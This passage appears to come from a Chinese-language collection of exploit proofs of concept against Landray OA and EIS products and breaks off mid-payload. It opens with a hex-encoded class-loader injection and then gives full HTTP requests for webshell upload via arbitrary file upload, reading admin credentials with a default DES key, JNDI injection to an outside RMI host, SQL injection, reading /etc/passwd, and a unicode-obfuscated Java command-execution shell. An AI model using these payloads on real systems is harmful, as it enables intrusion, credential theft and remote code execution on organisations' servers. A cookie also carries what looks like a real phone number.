7831336968366d7a35796435306b6f643673786530697a78666371696e776c787379747032623371756a636c7569657a6e69796d663632356a636e616d79667638616c6c7678646d336a6731317275657131776639736d783777706367326234733763306e32626b3865397872353969757a687462757235666e616a3578343036767432677a6375686f7962796f6a7a6e61616735706673333461637a7365746b66366c386c66347966393533356c376f613935656f636678756c7a74646e37677035326a6f6c6f747978713861786a6668686574716b6f786f74636c313831656c6b33746a366b6a347874693836746a673439387233783439753067757a63707036656438656d633478667766697a637a78667438366f706633757070716f6d74777668676c6f30737836376f62766b3532673332356d3930306a68686a68366f633068667679666d7a363238323265787a773571613278327636386c653161646c636f6a797333336e6d74623977336d7833367434346b347262776e76303967747337716c63653033356d656b687235786c67776b7a7369616b7a713468326278796f737a6e78767a646f7a3968657730653538746173647874356d6b6e6c7638326d73726d7a75776663626d613864643573796132686a6d646e7562737a797730346a6f6561636b6676656d34786b72367362646e39786c313536766d656d6733386f6b32366b396a6f6e366e776a6c636e7a616f68636572727a70327a77667466726b6f346176687863736d676871313767357934303166367a637167706e6763356e70613962737935677971376a74656e39366f3479666366306e6e3169716465626a6769387471746d33646a3963387864657562333869646d636339326f787761376f6977307575756563353572716c3736327263796b746b6a7a3438346d63776f78766e6132643879327438377734627a6b6a67626a6266786468646933627371376a6b78763874713271703739396739336169713176717179347167303934676d386b367866366134347831686638376d646e386f6430343777333676356a66317963356e64726e6b677665787536766e6c3771356a637578647a76356364746f6b65726d74716e773677626635656c61773130736866736b726f63746f77696d786b74396a66676a736667683764753762766e61776462746363753939307878373370667530617a72626b39303170796d696f6768356a6267693674376663373579307a3133746b6f78726d686e73727761757a39786262356f797035756b74336c6c796e3836646e6b37346633716b6e667530696d366e76736f316367713669733435613076386f67656c67636f31616f756c6f38373264656b396d6a6f776d677430696c71703664773279376a393832333631786e3774653276613538666335753062723377393264377a677176323768707030346b61623830796b6e6e347831323131796c61766a746d6e7a776e6f61386e73316c6a673367386d6930356c65717675397a313238706d6563713330796433306870726a31317239636677776d6975766a717571716c33306669787166393669367534783430647133316767703733737079697170626a68313232766f757a73796c793466376f6275333774796b626f7a773765376d646b6234743479797a756132327171786f377362737237753768726670776d353770616d73707277786b717334706a676a3263686e6b396f397073626c7769646c396b716a6f7836676a6d75346371386c337a71347239373832376734697434303879796830686b35716f686a6b33743463306463726b306a6d6639696c36626f6c3663306f366e3335766c3468776f77736f736f637738716f316139627a787931783433376b6533706e32743770326f64346469336a786d7667676561386a626d37373539616774616831723437796d6d746d74786c71666c6a71786574376761666d6c32716e37776d787a63703372616a317163766d767164333232327168376b6b6766303037613337626b79376f726e6365616b3078636375306f63677a7a343230616f38746a6f653078776164346661683569677361396a6d3766626f766e3731326c733773797a696d617233726a756b3278343279336373723279686d6d6f733830346c6d6d616673743879626d74696c6b71396e6b7972393536773035647766666f30636766366c6977313371697a326239367679396165326b6d6535717931727933396e6d71336d637367353933766f787869786e36356573777962753076746f3579743832797168717367613674716d776c6666646a78787466676c32326870656f67347737796e366772726d6c6e31337168623533786f3576673664763774736669336762366f716f766b726a32713839756e6b7a75303630677830686e6431783971726b6b36686e65373679686b67316c77336f6e6c6c6f363072396e657a336d7974686335313177343574393236687764786a31746d757639633072686f78716b736c727239767a6776616a786370383335686130716677317a30317a70636c6b68616e796e67757a7a356a346132386f31306371376f34677a76316d38726d6f796a79616435776b367269666d7367387a78696e6b33307a317566307662656a68396f3277353179677a77786d74706367366c6b35637663643479766c7978356539326677676e396b6a6771647a7938337238626568396e363834306775797a39367771356c396967783468717969757a673268793666676877767539706a36637263637037706475693762796a327672306839696a776432767964336a75396731666861636a716a373167657532317274796b667a3938696a34736b6e65736d636e65706f78667872383930307730337a3979673361397738676f7231386c6934616362316a683961676b34776b38396867647137396b6364713061637061647561677a686f6d726f6862707975396664737933393867656f733375653279633063656c6161667263707774633534696873323937616267716731637975777762786375317734337372613672306e796b61786f7a766569747475336d633136736d34376679386f6f63643731317a6c77707579766334776c6e77696b38326d6e69663068726a303462697832767331716579666e363273656f6b766d7a6b7470703231397670376267337339377a30737174316a327533386837656a67307372767835693563706877657439626d6a6737627a3162796a6b7163776564776871696b76657a747335316d32686578303377796c656c7a70376c676b6563616c6c71736c6d36697463713236396e7038343833356268616d6a78666a716a6c7265706b6e646669716e396a7a6b3337357a6b72767662396a7862733579723531716876393672393769343767396c31637a62347065726734737a757a3961396d656773397631747577653672626d6176686d663632663063316738656e776e33336c62687271776179333367697a336b67647078796d67686c386d6d6a767078676631716d72753136716172626c3474696235716f3775336263636265316a776236706c3036726e62736f73666e637577773261646c65616876793070386872396d356468386735793861616431613872663361327a616a7679796839356577367572627a69726b71727936786e6d766e61776a6578333863756f783172396d34307376363236656a356463743831616d6e6337796662386c7230706c77346b62367967666f7a33756a6e6c386d6a746a66646d686f6c7367316576656c6475773966327437387436687264616d6c353372626f74696a7771343763737830776234707566697a717878367362357262626b6c696f3070306b77797833336c716b6d623979746a7573647a7036636b7776686632796b7971767833723476733874726571647469756571686a30703966346d6e76336a62337a696932767a61396777326c396c30797064396968686f366535307278307534697363336d70783032317a69753832757436376e77376e68616238386164367533787561366d716232376d30756e64726a6d32717a67736f686a38756c316132393638626f65706e38776c71793261726d6137306467386e7732303665396732616e6974727831706676683773373736777768676d666d6e326475736762307a3070356667663379627a7776767a616e6b3871336a6879616973347069336a38677977303876747575686d6e6d643935337236316e626736796372667174627862766c713031677776737931737634763736636f3635736574656a70386a636636716378786c676a376839666e7768627a787361347770626f7232793370657732306d653367776f766476346e77707635326f76623933656268757364386b7939737967736837306a316279766e686e7163306a743966736c736d6b7a64657562613679366d726731633771367174716f757a667a617138796e6f31786474796d78796b617372746c777436726c357a683369736338636b366f663466387269793877307779347675706269316a396b777339333330733031317963636b7a6763716368686763617a313979366b6a38623065713074716937396b6b316e36367a6e77343368316c7677727a67726b696a32343536337731713064653532767363366135723736776d38756b73386b656a72353277716c366368687578746d6b3336667a33776d6c733436626f33387839767075346563626966666d67627476306774706a7763653639716c62723378327479676365636961636a6e6830757469346b77706b3463737739366b766532777173767268776366657873646a636174676b7039753736356e3975686a6971687a6d6478377473727a663336776e626d6f78736867336d66726f33343332696a6d6e3462376370386a69393562767431613433627834356e6b6a77727834706475633161643032393975736c726f62357861686263306e75376a6773686a3137706e717368646e7063626c666a39393136766b7736753578787172766c7034787664366877383571316b6d783163797361677934646b7678627838796b3666746170676675317079656930763035657761366c346e3973666138757132663273726237656b636b676e616d316568616f62737037796b3134786b706d306d6b75327931363564636c6d68767a786b7431396e683978356133617a647978366e7a35723474323568703775323975656c7768656a657032666a3862627878787968746e677a727177706531743662306d7361356c7a306736733835367363716e616a3736316334306f3034706a7a6e6b68777066766e6b34626d6b747262303131796a6871306d35757a7675386c75746b686e70666535676c716335767971356538397568357a753369716233396273316661396f6661303336776c6f6f636374317135766b716936326b303671736d61756f67306f64696675383239356f6f7479623571737a7a33726b74687668783570766e753276366d363578796161763977683768713233793669686d61676f7734377a6f32663979656a75317a6e367767376f7267647a3266667a6d377070656a657433707039753877346632697867637278696d6b706774683064657532777a796c6339786f7165783377706572326a31336a346e6b363071326c6c6b373668346a613572317662727875796b3830366334686b397162617a30657a62736c3536696a71317a6561766e716d3338686e383579676d397a387863776f37716d6a356575327562686177757870356a6e6a6e756e31766f75696c6b6a7a626438617a70316839746e70346f643968367864616777756868613368326432387531736c626d387767686b6e766b686a3936756138777561326a35376d627a78376d61796c6932766f6767696e30317a6f696336786c70656d6f65783876753032736c7872703068783030693136747a766d787131647239363678316574776768626b366b6873766d6768653434326a6e6c6f7363686f7a6539643764673676366678677273727038696a6f67346b7a30656b7966787666656969656c32726872326b6472386f6c3773376f6662356f6476646963776f7772387572703338306e30306575766370307569723969623661727134736877336a3066663576757634317736636b6371336b67776c363737366f706f697338377277386c696b6d676c7471717473347568356b636c696531376c72306e786c316c33733579787a65647a73757a666f62616977306b62676d6679616f6b6c6b7a306471733871326c76367032766a653179657532353261643063616c717468386b397631696c65636e71636c367979766132666965736d363865316b326d36306c383961686238746a79376d357572783176776f6a387663637a306b3475787866326b34377536676f6f33786e647a64686d6d76307936303762696a38687830716d6e793261396170626d30677333656b626f33696435383174326c6a31343530747662323762326e6b30303937386f707473796d717838346f36796b617a7178616d77646f6678626d62777732656a3974396f6975697661766977676174353838676d30627264653979687978683279317867356837716a79336f7269323362397775786a72366b613966337635686c70396a6563647030376b73696f74633979316f3672333962627878336b707a36736e307676366e663333726e31796c3431746578676c6e7536346a65327539386773677836716d6e6a7a307a6b726a6d667878743731377a777167323730647a75716a73333567316779656b79336d713468687633726a7163356174686769387062643769396c70663362796a323431746d7864736e796c6576777869733233376431653730326331776d763439776c6e6f656933766c68357467313177697364377875323766347974703474386e67713166676e36747a3768337464386665676c7165326673727a3279306976336a6d753435776b33356834743370706a6831636431756b36647468693239716337327264713366306665647139647435686365653837617968683062773832706d6472316c69766c78696b35386c37757574777663376c38747274746d6266346e7933706a3775366b706674366731763673643437786a696c6c7562726e37696e31716e677564667135677061326b696d786c65396138386963796d6d636167746d37656564667a65793530386d6461766f356b633466656d6f3161717564366d71743433386b6e32393437646b6374757a64726234797668336a7276386579627a6c6537366e78787272626e33716f3163346f766c7977396d6473366730336c306c6369346a6477336e6f626d6a6b7279677a3877656c6333756733317235646d396766616463636e62336f387439346a69797632356f356d33376b7a633270796161626475643773757867633138643266353566367830757277326a756d626c683463723135356b796579616639353662627a30326d686c39743264676c78336270777a65387130653166646f63386572696d717a6578687038616f78657565363164686967356473383464706d386372746c66697473793666693333746e7634346e776e6334306a7939636e366e747939646c31357a6d636c72653369786b3564666b6e7a386e75617a77777471786a757432756272337130696474386b6862383878337338696364707a777161336572767835386775747a636b767a706e7275733633777a336772783071677732396c396378396d7a3835366f61687779353639386367653235313463727367706e74723170686e6e6534763474336c6b716272637174646879767466696b79687031326f706b37686f3439746176646f273b7661722062797465636f6465203d206e6577206a6176612e6d6174682e426967496e74656765722862797465636f64655261772c3336292e746f42797465417272617928293b76617220636c73436c6173734c6f61646572203d20636c6173734c6f616465722e6c6f6164436c61737328276a6176612e6c616e672e436c6173734c6f6164657227293b76617220636c73427974654172726179203d20286e6577206a6176612e6c616e672e537472696e6728276127292e676574427974657328292e676574436c6173732829293b76617220636c73496e74203d206a6176612e6c616e672e496e74656765722e545950453b76617220646566696e65436c617373203d20636c73436c6173734c6f616465722e6765744465636c617265644d6574686f642827646566696e65436c617373272c205b636c734279746541727261792c20636c73496e742c20636c73496e745d293b646566696e65436c6173732e73657441636365737369626c652874727565293b76617220636c617a7a203d20646566696e65436c6173732e696e766f6b6528636c6173734c6f616465722c62797465636f64652c6e6577206a6176612e6c616e672e496e74656765722830292c6e6577206a6176612e6c616e672e496e74656765722862797465636f64652e6c656e67746829293b636c617a7a2e6e6577496e7374616e636528293b7dHTTP/1.1 200 Date: Tue, 15 Aug 2023 07:50:17 GMTContent-Type: text/htmlContent-Length: 0Connection: keep-aliveAccess-Control-Allow-Origin: *Content-Security-Policy: default-src * 'unsafe-inline' 'unsafe-eval'X-XSS-Protection: 0Set-Cookie: SERVERID=357e46e5f6aa75f389927a23b666915b|1692085815|1692083970;Path=/```3、访问马  login.jsp

蓝凌 eis 8.0 前台任意文件上传（XVE-2023-23708）

POST /eis/service/api.aspx?action=saveImg HTTP/1.1Host: *.*.*.*User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0Accept: text/html,application/xhtml+xml, application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh; q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip,deflateConnection:closeCookie: ASP.NET_SessionId=jh3g1b45deo2ny55kmxl4355;Lang=zh-cnUpgrade-Insecure-Requests: 1Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZUtvHzp8FchbbUUnContent-Length: 483-----WebKitFormBoundaryZUtvHzp8FchbbUUnContent-Disposition: form-data;name="file"filename="test.asp"Content-Type:text/html<% 此处放上你都jsp马%>-----WebKitFormBoundaryZUtvHzp8FchbbUUn--上传成功后返回webshell所在路径

蓝凌OA admin.do JNDI远程命令执行

搭配蓝凌OA custom.jsp 任意文件读取漏洞食用更佳

/WEB-INF/KmssConfig/admin.properties

poc

POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1Host: User-Agent: Go-http-client/1.1Content-Length: 60Content-Type: application/x-www-form-urlencodedAccept-Encoding: gzipvar={"body":{"file":"/WEB-INF/KmssConfig/admin.properties"}}

获取password后，使用 DES方法解密，默认密钥为 kmssAdminKey

登录成功后配和外带验证如dnslog进行验证

POST /admin.do HTTP/1.1Host: Cookie: JSESSIONID=90EA764774514A566C480E9726BB3D3F; Hm_lvt_9838edd365000f753ebfdc508bf832d3=1620456866; Hm_lpvt_9838edd365000f753ebfdc508bf832d3=1620459967Content-Length: 70Cache-Control: max-age=0Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="90", "Google Chrome";v="90"Sec-Ch-Ua-Mobile: ?0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36Origin: Content-Type: application/x-www-form-urlencodedAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9method=testDbConn&datasource=rmi://xxx.xxx.xxx.xxx:1099/cbdsdg

蓝凌OA kmImeetingRes.do 后台SQL注入漏洞

https://xxx.xxx.xxx.xxx/km/imeeting/km_imeeting_res/kmImeetingRes.do?contentType=json&method=listUse&orderby=1&ordertype=down&s_ajax=true

SQL注入的参数为 ordeby 数据包如下

GET /km/imeeting/km_imeeting_res/kmImeetingRes.do?contentType=json&method=listUse&orderby=1&ordertype=down&s_ajax=true HTTP/1.1Host: Connection: closePragma: no-cacheCache-Control: no-cachesec-ch-ua: "Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6Cookie: UM_distinctid=1785f7392888e1-02ece8c7e9a996-5771031-1fa400-1785f73928943d; landray_danyuan=null; landray_guanjianci=null; landray_sorce=baidupinzhuanwy; landray_jihua=null; JSESSIONID=232B6933CF33B5422F9D2649739D48FE; Hm_lvt_223eecc93377a093d4111a2d7ea28f51=1616509114,1616566341,1616566350; Hm_lpvt_223eecc93377a093d4111a2d7ea28f51=1616566350; Hm_lvt_d14cb406f01f8101884d7cf81981d8bb=1616509114,1616566341,1616566350; Hm_lpvt_d14cb406f01f8101884d7cf81981d8bb=1616566507; Hm_lvt_95f4f43e7aa1fe68a51c44ae4eed925d=1616509872,1616509969,1616509973,1616566507; Hm_lpvt_95f4f43e7aa1fe68a51c44ae4eed925d=1616566507; Hm_lvt_22f1fea4412727d23e6a998a4b46f2ab=1616509872,1616509969,1616509973,1616566507; Hm_lpvt_22f1fea4412727d23e6a998a4b46f2ab=1616566507; fd_name=%E5%95%8A%E7%9A%84%E5%93%88; fd_id=1785f817dd0f5a4beaa482646cb9a2d8; nc_phone=15572002383; j_lang=zh-CN; LtpaToken=AAECAzYwNUFEOEZBNjA1QjgxQkFsdW9stJ5e1pcW1hgQi3cOa0iEyAhdZZs=; Hm_lvt_95cec2a2f107db33ad817ed8e4a3073b=1616510026,1616566523; Hm_lpvt_95cec2a2f107db33ad817ed8e4a3073b=1616566523; add_customer=0

蓝凌OA custom.jsp 任意文件读取漏洞

POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1Host:User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15Content-Length: 42Content-Type: application/x-www-form-urlencodedAccept-Encoding: gzipvar={"body":{"file":"file:///etc/passwd"}}

蓝凌OA treexml.tmpl 远程命令执行漏洞

POST /data/sys-common/treexml.tmplCmd: dir && lss_bean=ruleFormulaValidate&script=u0020u0020u0020u0020u0062u006fu006fu006cu0065u0061u006eu0020u0066u006cu0061u0067u0020u003du0020u0066u0061u006cu0073u0065u003bu0054u0068u0072u0065u0061u0064u0047u0072u006fu0075u0070u0020u0067u0072u006fu0075u0070u0020u003du0020u0054u0068u0072u0065u0061u0064u002eu0063u0075u0072u0072u0065u006eu0074u0054u0068u0072u0065u0061u0064u0028u0029u002eu0067u0065u0074u0054u0068u0072u0065u0061u0064u0047u0072u006fu0075u0070u0028u0029u003bu006au0061u0076u0061u002eu006cu0061u006eu0067u002eu0072u0065u0066u006cu0065u0063u0074u002eu0046u0069u0065u006cu0064u0020u0066u0020u003du0020u0067u0072u006fu0075u0070u002eu0067u0065u0074u0043u006cu0061u0073u0073u0028u0029u002eu0067u0065u0074u0044u0065u0063u006cu0061u0072u0065u0064u0046u0069u0065u006cu0064u0028u0022u0074u0068u0072u0065u0061u0064u0073u0022u0029u003bu0066u002eu0073u0065u0074u0041u0063u0063u0065u0073u0073u0069u0062u006cu0065u0028u0074u0072u0075u0065u0029u003bu0054u0068u0072u0065u0061u0064u005bu005du0020u0074u0068u0072u0065u0061u0064u0073u0020u003du0020u0028u0054u0068u0072u0065u0061u0064u005bu005du0029u0020u0066u002eu0067u0065u0074u0028u0067u0072u006fu0075u0070u0029u003bu0066u006fu0072u0020u0028u0069u006eu0074u0020u0069u0020u003du0020u0030u003bu0020u0069u0020u003cu0020u0074u0068u0072u0065u0061u0064u0073u002eu006cu0065u006eu0067u0074u0068u003bu0020u0069u002bu002bu0029u0020u007bu0020u0074u0072u0079u0020u007bu0020u0054u0068u0072u0065u0061u0064u0020u0074u0020u003du0020u0074u0068u0072u0065u0061u0064u0073u005bu0069u005du003bu0069u0066u0020u0028u0074u0020u003du003du0020u006eu0075u006cu006cu0029u0020u007bu0020u0063u006fu006eu0074u0069u006eu0075u0065u003bu0020u007du0053u0074u0072u0069u006eu0067u0020u0073u0074u0072u0020u003du0020u0074u002eu0067u0065u0074u004eu0061u006du0065u0028u0029u003bu0069u0066u0020u0028u0073u0074u0072u002eu0063u006fu006eu0074u0061u0069u006eu0073u0028u0022u0065u0078u0065u0063u0022u0029u0020u007cu007cu0020u0021u0073u0074u0072u002eu0063u006fu006eu0074u0061u0069u006eu0073u0028u0022u0068u0074u0074u0070u0022u0029u0029u0020u007bu0020u0063u006fu006eu0074u0069u006eu0075u0065u003bu0020u007du0066u0020u003du0020u0074u002eu0067u0065u0074u0043u006cu0061u0073u0073u0028u0029u002eu0067u0065u0074u0044u0065u0063u006cu0061u0072u0065u0064u0046u0069u0065u006cu0064u0028u0022u0074u0061u0072u0067u0065u0074u0022u0029u003bu0066u002eu0073u0065u0074u0041u0063u0063u0065u0073u0073u0069u0062u006cu0065u0028u0074u0072u0075u0065u0029u003bu004fu0062u006au0065u0063u0074u0020u006fu0062u006au0020u003du0020u0066u002eu0067u0065u0074u0028u0074u0029u003bu0069u0066u0020u0028u0021u0028u006fu0062u006au0020u0069u006eu0073u0074u0061u006eu0063u0065u006fu0066u0020u0052u0075u006eu006eu0061u0062u006cu0065u0029u0029u0020u007bu0020u0063u006fu006eu0074u0069u006eu0075u0065u003bu0020u007du0066u0020u003du0020u006fu0062u006au002eu0067u0065u0074u0043u006cu0061u0073u0073u0028u0029u002eu0067u0065u0074u0044u0065u0063u006cu0061u0072u0065u0064u0046u0069u0065u006cu0064u0028u0022u0074u0068u0069u0073u0024u0030u0022u0029u003bu0066u002eu0073u0065u0074u0041u0063u0063u0065u0073u0073u0069u0062u006cu0065u0028u0074u0072u0075u0065u0029u003bu006fu0062u006au0020u003du0020u0066u002eu0067u0065u0074u0028u006fu0062u006au0029u003bu0074u0072u0079u0020u007bu0020u0066u0020u003du0020u006fu0062u006au002eu0067u0065u0074u0043u006cu0061u0073u0073u0028u0029u002eu0067u0065u0074u0044u0065u0063u006cu0061u0072u0065u0064u0046u0069u0065u006cu0064u0028u0022u0068u0061u006eu0064u006cu0065u0072u0022u0029u003bu0020u007du0020u0063u0061u0074u0063u0068u0020u0028u004eu006fu0053u0075u0063u0068u0046u0069u0065u006cu0064u0045u0078u0063u0065u0070u0074u0069u006fu006eu0020u0065u0029u0020u007bu0020u0066u0020u003du0020u006fu0062u006au002eu0067u0065u0074u0043u006cu0061u0073u0073u0028u0029u002eu0067u0065u0074u0053u0075u0070u0065u0072u0063u006cu0061u0073u0073u0028u0029u002eu0067u0065u0074u0053u0075u0070u0065u0072u0063u006cu0061u0073u0073u0028u0029u002eu0067u0065u0074u0044u0065u0063u006cu0061u0072u0065u0064u0046u0069u0065u006cu0064u0028u0022u0068u0061u006eu0064u006cu0065u0072u0022u0029u003bu0020u007du0066u002eu0073u0065u0074u0041u0063u0063u0065u0073u0073u0069u0062u006cu0065u0028u0074u0072u0075u0065u0029u003bu006fu0062u006au0020u003du0020u0066u002eu0067u0065u0074u0028u006fu0062u006au0029u003bu0074u0072u0079u0020u007bu0020u0066u0020u003du0020u006fu0062u006au002eu0067u0065u0074u0043u006cu0061u0073u0073u0028u0029u002eu0067u0065u0074u0053u0075u0070u0065u0072u0063u006cu0061u0073u0073u0028u0029u002eu0067u0065u0074u0044u0065u0063u006cu0061u0072u0065u0064u0046u0069u0065u006cu0064u0028u0022u0067u006cu006fu0062u0061u006cu0022u0029u003bu0020u007du0020u0063u0061u0074u0063u0068u0020u0028u004eu006fu0053u0075u0063u0068u0046u0069u0065u006cu0064u0045u0078u0063u0065u0070u0074u0069u006fu006eu0020u0065u0029u0020u007bu0020u0066u0020u003du0020u006fu0062u006au002eu0067u0065u0074u0043u006cu0061u0073u0073u0028u0029u002eu0067u0065u0074u0044u0065u0063u006cu0061u0072u0065u0064u0046u0069u0065u006cu0064u0028u0022u0067u006cu006fu0062u0061u006cu0022u0029u003bu0020u007du0066u002eu0073u0065u0074u0041u0063u0063u0065u0073u0073u0069u0062u006cu0065u0028u0074u0072u0075u0065u0029u003bu006fu0062u006au0020u003du0020u0066u002eu0067u0065u0074u0028u006fu0062u006au0029u003bu0066u0020u003du0020u006fu0062u006au002eu0067u0065u0074u0043u006cu0061u0073u0073u0028u0029u002eu0067u0065u0074u0044u0065u0063u006cu0061u0072u0065u0064u0046u0069u0065u006cu0064u0028u0022u0070u0072u006fu0063u0065u0073u0073u006fu0072u0073u0022u0029u003bu0066u002eu0073u0065u0074u0041u0063u0063u0065u0073u0073u0069u0062u006cu0065u0028u0074u0072u0075u0065u0029u003bu006au0061u0076u0061u002eu0075u0074u0069u006cu002eu004cu0069u0073u0074u0020u0070u0072u006fu0063u0065u0073u0073u006fu0072u0073u0020u003du0020u0028u006au0061u0076u0061u002eu0075u0074u0069u006cu002eu004cu0069u0073u0074u0029u0020u0028u0066u002eu0067u0065u0074u0028u006fu0062u006au0029u0029u003bu0066u006fu0072u0020u0028u0069u006eu0074u0020u006au0020u003du0020u0030u003bu0020u006au0020u003cu0020u0070u0072u006fu0063u0065u0073u0073u006fu0072u0073u002eu0073u0069u007au0065u0028u0029u003bu0020u002bu002bu006au0029u0020u007bu0020u004fu0062u006au0065u0063u0074u0020u0070u0072u006fu0063u0065u0073u0073u006fu0072u0020u003du0020u0070u0072u006fu0063u0065u0073u0073u006fu0072u0073u002eu0067u0065u0074u0028u006au0029u003bu0066u0020u003du0020u0070u0072u006fu0063u0065u0073u0073u006fu0072u002eu0067u0065u0074u0043u006cu0061u0073u0073u0028u0029u002eu0067u0065u0074u0044u0065u0063u006cu0061u0072u0065u0064u0046u0069u0065u006cu0064u0028u0022u0072u0065u0071u0022u0029u003bu0066u002eu0073u0065u0074u0041u0063u0063u0065u0073u0073u0069u0062u006cu0065u0028u0074u0072u0075u0065u0029u003bu004fu0062u006au0065u0063u0074u0020u0072u0065u0071u0020u003du0020u0066u002eu0067u0065u0074u0028u0070u0072u006fu0063u0065u0073u0073u006fu0072u0029u003bu004fu0062u006au0065u0063u0074u0020u0072u0065u0073u0070u0020u003du0020u0072u0065u0071u002eu0067u0065u0074u0043u006cu0061u0073u0073u0028u0029u002eu0067u0065u0074u004du0065u0074u0068u006fu0064u0028u0022u0067u0065u0074u0052u0065u0073u0070u006fu006eu0073u0065u0022u002cu0020u006eu0065u0077u0020u0043u006cu0061u0073u0073u005bu0030u005du0029u002eu0069u006eu0076u006fu006bu0065u0028u0072u0065u0071u002cu0020u006eu0065u0077u0020u004fu0062u006au0065u0063u0074u005bu0030u005du0029u003bu0073u0074u0072u0020u003du0020u0028u0053u0074u0072u0069u006eu0067u0029u0020u0072u0065u0071u002eu0067u0065u0074u0043u006cu0061u0073u0073u0028u0029u002eu0067u0065u0074u004du0065u0074u0068u006fu0064u0028u0022u0067u0065u0074u0048u0065u0061u0064u0065u0072u0022u002cu0020u006eu0065u0077u0020u0043u006cu0061u0073u0073u005bu005du007bu0053u0074u0072u0069u006eu0067u002eu0063u006cu0061u0073u0073u007du0029u002eu0069u006eu0076u006fu006bu0065u0028u0072u0065u0071u002cu0020u006eu0065u0077u0020u004fu0062u006au0065u0063u0074u005bu005du007bu0022u0043u006du0064u0022u007du0029u003bu0069u0066u0020u0028u0073u0074u0072u0020u0021u003du0020u006eu0075u006cu006cu0020u0026u0026u0020u0021u0073u0074u0072u002eu0069u0073u0045u006du0070u0074u0079u0028u0029u0029u0020u007bu0020u0072u0065u0073u0070u002eu0067u0065u0074u0043u006cu0061u0073u0073u0028u0029u002eu0067u0065u0074u004du0065u0074u0068u006fu0064u0028u0022u0073u0065u0074u0053u0074u0061u0074u0075u0073u0022u002cu0020u006eu0065u0077u0020u0043u006cu0061u0073u0073u005bu005du007bu0069u006eu0074u002eu0063u006cu0061u0073u0073u007du0029u002eu0069u006eu0076u006fu006bu0065u0028u0072u0065u0073u0070u002cu0020u006eu0065u0077u0020u004fu0062u006au0065u0063u0074u005bu005du007bu006eu0065u0077u0020u0049u006eu0074u0065u0067u0065u0072u0028u0032u0030u0030u0029u007du0029u003bu0053u0074u0072u0069u006eu0067u005bu005du0020u0063u006du0064u0073u0020u003du0020u0053u0079u0073u0074u0065u006du002eu0067u0065u0074u0050u0072u006fu0070u0065u0072u0074u0079u0028u0022u006fu0073u002eu006eu0061u006du0065u0022u0029u002eu0074u006fu004cu006fu0077u0065u0072u0043u0061u0073u0065u0028u0029u002eu0063u006fu006eu0074u0061u0069u006eu0073u0028u0022u0077u0069u006eu0064u006fu0077u0022u0029u0020u003fu0020u006eu0065u0077u0020u0053u0074u0072u0069u006eu0067u005bu005du007bu0022u0063u006du0064u002eu0065u0078u0065u0022u002cu0020u0022u002fu0063u0022u002cu0020u0073u0074u0072u007du0020u003au0020u006eu0065u0077u0020u0053u0074u0072u0069u006eu0067u005bu005du007bu0022u002fu0062u0069u006eu002fu0073u0068u0022u002cu0020u0022u002du0063u0022u002cu0020u0073u0074u0072u007du003bu0053u0074u0072u0069u006eu0067u0020u0063u0068u0061u0072u0073u0065u0074u004eu0061u006du0065u0020u003du0020u0053u0079u0073u0074u0065u006du002eu0067u0065u0074u0050u0072u006fu0070u0065u0072u0074u0079u0028u0022u006fu0073u002eu006eu0061u006du0065u0022u0029u002eu0074u006fu004cu006fu0077u0065u0072u0043u0061u0073u0065u0028u0029u002eu0063u006fu006eu0074u0061u0069u006eu0073u0028u0022u0077u0069u006eu0064u006fu0077u0022u0029u0020u003fu0020u0022u0047u0042u004bu0022u003au0022u0055u0054u0046u002du0038u0022u003bu0062u0079u0074u0065u005bu005du0020u0074u0065u0078u0074u0032u0020u003du0028u006eu0065u0077u0020u006au0061u0076u0061u002eu0075u0074u0069u006cu002eu0053u0063u0061u006eu006eu0065u0072u0028u0028u006eu0065u0077u0020u0050u0072u006fu0063u0065u0073u0073u0042u0075u0069u006cu0064u0065u0072u0028u0063u006du0064u0073u0029u0029u002eu0073u0074u0061u0072u0074u0028u0029u002eu0067u0065u0074u0049u006eu0070u0075u0074u0053u0074u0072u0065u0061u006du0028u0029u002cu0063u0068u0061u0072u0073u0065u0074u004eu0061u006du0065u0029u0029u002eu0075u0073u0065u0044u0065u006cu0069u006du0069u0074u0065u0072u0028u0022u005cu005cu0041u0022u0029u002eu006eu0065u0078u0074u0028u0029u002eu0067u0065u0074u0042u0079u0074u0065u0073u0028u0063u0068u0061u0072u0073u0065u0074u004eu0061u006du0065u0029u003bu0062u0079u0074u0065u005bu005du0020u0072u0065u0073u0075u006cu0074u003du0028u0022u0045u0078u0065u0063u0075u0074u0065u003au0020u0020u0020u0020u0022u002bu006eu0065u0077u0020u0053u0074u0072u0069u006eu0067u0028u0074u0065u0078u0074u0032u002cu0022u0075u0074u0066u002du0038u0022u0029u0029u002eu0067u0065u0074u0042u0079u0074u0065u0073u0028u0063u0068u0061u0072u0073u0065u0074u004eu0061u006du0065u0029u003bu0074u0072u0079u0020u007bu0020u0043u006cu0061u0073u0073u0020u0063u006cu0073u0020u003du0020u0043u006cu0061u0073u0073u002eu0066u006fu0072u004eu0061u006du0065u0028u0022u006fu0072u0067u002eu0061u0070u0061u0063u0068u0065u002eu0074u006fu006du0063u0061u0074u002eu0075u0074u0069u006cu002eu0062u0075u0066u002eu0042u0079u0074u0065u0043u0068u0075u